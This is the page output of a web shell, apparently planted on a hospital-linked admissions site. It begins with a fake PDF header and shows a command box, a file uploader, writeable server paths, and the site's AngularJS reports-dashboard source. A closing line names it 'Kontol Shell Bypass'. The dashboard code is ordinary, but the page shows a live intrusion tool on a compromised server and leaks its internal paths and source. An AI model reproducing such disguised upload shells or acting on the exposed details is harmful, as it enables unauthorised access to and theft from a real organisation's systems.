%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/lms/lms/js/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/lms/lms/js/reports_dashboard.js
/** Reports Dashboard **/
angular.module('MetronicApp').controller("ReportsDashboard", function ($scope, $http, $state, $location, $stateParams, $timeout, Auth) {
	var RD = this;
	RD.top_limit = 10;

	RD.sdata = { dateFrom: '', dateTo: '', med_phd: '', lmsdb: '' };
	$scope.tabType = $stateParams.tabType;
	$scope.label_percent = function (per) {
		return label_percent(per);
	}

	/** Dashboard Data */
	RD.create_step_chart = function (pref) {
		create_bar_chart_steps_count('chart_yday', RD.data.old_steps, pref, "#8E44AD");
		create_bar_chart_steps_count('chart_today', RD.data.today_steps, pref, "#8E44AD");
	}
	RD.ccreate_step_chart = function (pref) {
		create_bar_chart_steps_count('cchart_yday', RD.data.old_steps, pref, "blue");
		create_bar_chart_steps_count('cchart_today', RD.data.today_steps, pref, "blue");
	}
	RD.dashboardData = function () {
		show_loader();
		$http({ url: API_URL + 'reports/dashboard/' + RD.top_limit, params: { med_phd: RD.sdata.med_phd, campus_id: RD.sdata.campus_id, lmsdb: RD.sdata.lmsdb, dateFrom: filterStartDate, dateTo: filterEndDate } }).success(
			function (res) {
				RD.data = res.data;
				RD.create_step_chart('');
				RD.ccreate_step_chart('c_');
				RD.dashboard_top_leads();
				$timeout(function () {
					handleEasyPieChart();
					handleCounterup();
				});
			}
		).error(function (res) { showHttpErr(res); });
		$scope.tabType = 'dashboard';
	}
	RD.dashboard_top_leads = function () {
		$http({ url: API_URL + 'reports/dashboard_top_leads/' + RD.top_limit, params: { med_phd: RD.sdata.med_phd, campus_id: RD.sdata.campus_id, lmsdb: RD.sdata.lmsdb, dateFrom: filterStartDate, dateTo: filterEndDate } }).success(
			function (res) {
				RD.data.lead_sources = res.data.lead_sources.result;
				RD.data.lead_states = res.data.lead_states.result;
				RD.data.lead_programmes = res.data.lead_programmes.result;
				RD.data.lead_discipline = res.data.lead_discipline.result;
				RD.data.lead_schools = res.data.lead_schools.result;
			}
		).error(function (res) { showHttpErr(res); });
	}
	/** END */

	RD.orderby = [];
	RD.set_list_order = function (odrby, ind) {
		RD.orderby[ind] = odrby;
	}

	RD.groupLeads = function () {
		show_loader();
		$http({ url: API_URL + 'reports/leadGroupWise', params: RD.sdata }).success(
			function (res) {
				hide_loader();
				RD.group_leads = res.result;
			}
		).error(function (res) { showHttpErr(res); });
		$scope.tabType = 'group';
	}

	/** Source Leads */
	RD.sourceLeads = function () {
		show_loader();
		$http({ url: API_URL + 'reports/leadSourceWise', params: RD.sdata }).success(
			function (res) {
				hide_loader();
				RD.source_leads = res.result;
			}
		).error(function (res) { showHttpErr(res); });
		$scope.tabType = 'source';
	}
	/** END */

	/** Medium Leads */
	RD.mediumLeads = function () {
		show_loader();
		$http({ url: API_URL + 'reports/leadMediumWise', params: RD.sdata }).success(
			function (res) {
				hide_loader();
				RD.medium_leads = res.result;
			}
		).error(function (res) { showHttpErr(res); });
		$scope.tabType = 'medium';
	}
	/** END */

	/** State Leads */
	RD.stateLeads = function () {
		show_loader();
		$http({ url: API_URL + 'reports/leadStateWise', params: RD.sdata }).success(
			function (res) {
				hide_loader();
				//res=Auth.checkRes(res);
				RD.state_leads = res.result;
			}
		).error(function (res) { showHttpErr(res); });
		$scope.tabType = 'state';
	}
	/** END */

	/** Programme Leads */
	RD.programmeLeads = function () {
		show_loader();
		$http({ url: API_URL + 'reports/leadProgrammeWise', params: RD.sdata }).success(
			function (res) {
				hide_loader();
				//res=Auth.checkRes(res);
				RD.prog_leads = res.result;
			}
		).error(function (res) { showHttpErr(res); });
		$scope.tabType = 'prog';
	}
	/** END */

	/** Discipline Leads */
	RD.disciplineLeads = function () {
		show_loader();
		$http({ url: API_URL + 'reports/leadDisciplineWise', params: RD.sdata }).success(
			function (res) {
				hide_loader();
				//res=Auth.checkRes(res);
				RD.discipline_leads = res.result;
			}
		).error(function (res) { showHttpErr(res); });
		$scope.tabType = 'discipline';
	}
	/** END */

	/** School Leads */
	RD.schoolLeads = function () {
		show_loader();
		$http({ url: API_URL + 'reports/leadSchoolWise', params: RD.sdata }).success(
			function (res) {
				hide_loader();
				//res=Auth.checkRes(res);
				RD.school_leads = res.result;
			}
		).error(function (res) { showHttpErr(res); });
		$scope.tabType = 'school';
	}
	/** END */

	RD.landingPageLeads = function () {
		show_loader();
		$http({ url: API_URL + 'reports/leadLandingPageWise', params: RD.sdata }).success(
			function (res) {
				hide_loader();
				RD.lp_leads = res.result;
			}
		).error(function (res) { showHttpErr(res); });
		$scope.tabType = 'lp';
	}

	RD.publishersLeads = function () {
		show_loader();
		$http({ url: API_URL + 'reports/publishersWise', params: RD.sdata }).success(
			function (res) {
				hide_loader();
				RD.pub_leads = res.result;
			}
		).error(function (res) { showHttpErr(res); });
		$scope.tabType = 'pub';
	}

	RD.genderWiseLeads = function () {
		show_loader();
		$http({ url: API_URL + 'reports/genderWise', params: RD.sdata }).success(
			function (res) {
				hide_loader();
				RD.gender_leads = res.result;
			}
		).error(function (res) { showHttpErr(res); });
		$scope.tabType = 'gender';
	}

	RD.amountWiseLeads = function () {
		show_loader();
		$http({ url: API_URL + 'reports/amountWise', params: RD.sdata }).success(
			function (res) {
				hide_loader();
				RD.amount_leads = res.result;
			}
		).error(function (res) { showHttpErr(res); });
		$scope.tabType = 'amount';
	}

	RD.apiVendorWiseLeads = function () {
		show_loader();
		$http({ url: API_URL + 'reports/apiVendorWiseLeads', params: RD.sdata }).success(
			function (res) {
				hide_loader();
				RD.api_leads = res.result;
			}
		).error(function (res) { showHttpErr(res); });
		$scope.tabType = 'api';
	}

	/** Handle Tabs Links */
	RD.handleTabs = function () {
		var tab = $scope.tabType;
		$('.tab-pane,.dash-tabs li').not(".app-status .tab-pane, .app-status li").removeClass('active');

		switch (tab) {
			case 'dashboard':
				RD.dashboardData();
				$('#tab-dashboard, #nav-dashboard').addClass('active');
				break;
			case 'group':
				RD.groupLeads();
				$('#tab1, #nav-group').addClass('active');
				break;
			case 'source':
				RD.sourceLeads();
				$('#tab2, #nav-source').addClass('active');
				break;
			case 'medium':
				RD.mediumLeads();
				$('#tab3, #nav-medium').addClass('active');
				break;
			case 'state':
				RD.stateLeads();
				$('#tab4, #nav-state').addClass('active');
				break;
			case 'prog':
				RD.programmeLeads();
				$('#tab5, #nav-prog').addClass('active');
				break;
			case 'discipline':
				RD.disciplineLeads();
				$('#tab6, #nav-discipline').addClass('active');
				break;
			case 'school':
				RD.schoolLeads();
				$('#tab7, #nav-school').addClass('active');
				break;
			case 'lp':
				RD.landingPageLeads();
				$('#tab8, #nav-lp').addClass('active');
				break;
			case 'pub':
				RD.publishersLeads();
				$('#tab9, #nav-pub').addClass('active');
				break;
			case 'gender':
				RD.genderWiseLeads();
				$('#tab10, #nav-gender').addClass('active');
				break;
			case 'amount':
				RD.amountWiseLeads();
				$('#tab11, #nav-amount').addClass('active');
				break;
			case 'api':
				RD.apiVendorWiseLeads();
				$('#tab12, #nav-apileads').addClass('active');
				break;
		}
	}
	/** \ */

	RD.lms_db_change = () => {
		/* if(RD.sdata.lmsdb=='old_lms'){
			calsdt=calstartdtp;
			caledt=calenddtp;
		}else{
			calsdt=calstartdt;
			caledt=calenddt;
		}
		initDashboardDaterange();
		$timeout(function(){
			RD.handleTabs();
		}); */
	}

	RD.utm_nd_state_change = () => {
		$timeout(function () {
			RD.handleTabs();
		});
	}

	RD.downloadTabData = (result, total, tab) => {
		result = [...result];
		let header = {};
		if (tab === 'api') {
			header = {
				vendor: 'VENDOR',
				total: 'TOTAL',
				success: 'SUCCESS',
				rejected_duplicate: 'REJECTED - DUPLICATE',
				rejected_state_not_allowed: 'REJECTED - STATE NOT ALLOWED',
				rejected_daily_limit: 'REJECTED - LIMIT CROSSED',
				rejected_data_err: 'REJECTED - DATA ERROR',
			};
			result.push({
				vendor: 'TOTAL',
				total: total.total,
				success: total.success,
				rejected_duplicate: total.rejected_duplicate,
				rejected_state_not_allowed: total.rejected_state_not_allowed,
				rejected_daily_limit: total.rejected_daily_limit,
				rejected_data_err: total.rejected_data_err,
			});
		} else {
			header = {
				title: 'TITLE',
				total: 'TOTAL',
				step1: 'PROSPECTS',
				step2: 'APPLICANTS',
				step3: 'PAID APPLICANTS',
				adm_offered: 'ADMISSION OFFERED',
				adm_final: 'FINAL ADMISSIONS',
			};

			result.push({
				title: 'TOTAL',
				total: total.sum_total_lead,
				step1: total.sum_step1,
				step2: total.sum_step2,
				step3: total.sum_step3,
				adm_offered: total.sum_adm_offered,
				adm_final: total.sum_adm_final,
			});
		}

		let blob = convertToCSVBlob(result, header);
		downloadCsvFromBlob(blob, "download");
	}

	/** Init **/
	RD.init = function () {
		Scope = RD;

		$http({ url: API_URL + 'reports/init_dashboard' }).success(
			function (res) {
				RD.all_utm_groups = res.all_utm_groups;
				RD.all_utm_sources = res.all_utm_sources;
				RD.all_states = res.all_states;
				RD.campuses = res.campuses;

				$timeout(function () {
					RD.handleTabs();
					initDashboardDaterange();
				});
			}
		);
	}

	RD.init();
});

/** Non Angular **/
/** Counter */
var handleCounterup = function () {
	if (!$().counterUp) {
		return;
	}
	$("[data-counter='counterup']").counterUp({
		delay: 10,
		time: 1000
	});
}
/** \ */

/** EasyPieChart */
var handleEasyPieChart = function () {
	if (!$().easyPieChart) { return; }

	$('.easy-pie-chart .number.purple').easyPieChart({
		animate: 1000,
		size: 75,
		lineWidth: 3,
		barColor: App.getBrandColor('purple')
	});

	$('.easy-pie-chart .number.green').easyPieChart({
		animate: 1000,
		size: 75,
		lineWidth: 3,
		barColor: App.getBrandColor('green')
	});

	$('.easy-pie-chart .number.red').easyPieChart({
		animate: 1000,
		size: 75,
		lineWidth: 3,
		barColor: App.getBrandColor('red')
	});

	$('.easy-pie-chart .number.blue').easyPieChart({
		animate: 1000,
		size: 75,
		lineWidth: 3,
		barColor: App.getBrandColor('blue')
	});
}
/** \ */

function initDashboardDaterange() {
	if (!jQuery().daterangepicker) {
		return;
	}

	$('.report-range').daterangepicker({
		"ranges": {
			'Today': [moment(), moment()],
			'Yesterday': [moment().subtract(1, 'days'), moment().subtract(1, 'days')],
			'Last 7 Days': [moment().subtract(6, 'days'), moment()],
			'Last 30 Days': [moment().subtract(29, 'days'), moment()],
			'Last Week': [moment().subtract(1, 'weeks').startOf('isoWeek'), moment().subtract(1, 'weeks').endOf('isoWeek')],
			'This Week': [moment().subtract(0, 'weeks').startOf('isoWeek'), moment().subtract(0, 'weeks').endOf('isoWeek')],
			'This Month': [moment().startOf('month'), moment().endOf('month')],
			'Last Month': [moment().subtract(1, 'month').startOf('month'), moment().subtract(1, 'month').endOf('month')],
			'This Year': [moment().startOf('year'), moment().endOf('year')],
			'Last Year': [moment().startOf('year').subtract(1, 'years'), moment().endOf('year').subtract(1, 'years')],
		},
		"locale": {
			"format": "DD MMM YYYY",
			"separator": " - ",
			"applyLabel": "Apply",
			"cancelLabel": "Cancel",
			"fromLabel": "From",
			"toLabel": "To",
			"customRangeLabel": "Custom Range",
			"daysOfWeek": [
				"Su",
				"Mo",
				"Tu",
				"We",
				"Th",
				"Fr",
				"Sa"
			],
			"monthNames": [
				"January",
				"February",
				"March",
				"April",
				"May",
				"June",
				"July",
				"August",
				"September",
				"October",
				"November",
				"December"
			],
			"firstDay": 1
		},
		"startDate": calsdt, //moment().startOf('year'),
		"endDate": caledt, //moment().endOf('year'),
		opens: 'left',
	}, function (start, end, label) {
		if ($('.report-range').attr('data-display-range') != '0') {
			var sd = start.format('DD MMM YYYY');
			var ed = end.format('DD MMM YYYY');
			$('.report-range span').html(sd + ' - ' + ed);
			Scope.sdata.dateFrom = sd;
			Scope.sdata.dateTo = ed;
			Scope.handleTabs();
		}
	});
	if ($('.report-range').attr('data-display-range') != '0') {
		var sd = moment(calsdt).format('DD MMM YYYY'); //moment().startOf('year').format('DD MMM YYYY');
		var ed = moment(caledt).format('DD MMM YYYY'); //moment().endOf('year').format('DD MMM YYYY');
		$('.report-range span').html(sd + ' - ' + ed);
		Scope.sdata.dateFrom = sd;
		Scope.sdata.dateTo = ed;
	}
	$('.report-range').show();
}

//EOF

Kontol Shell Bypass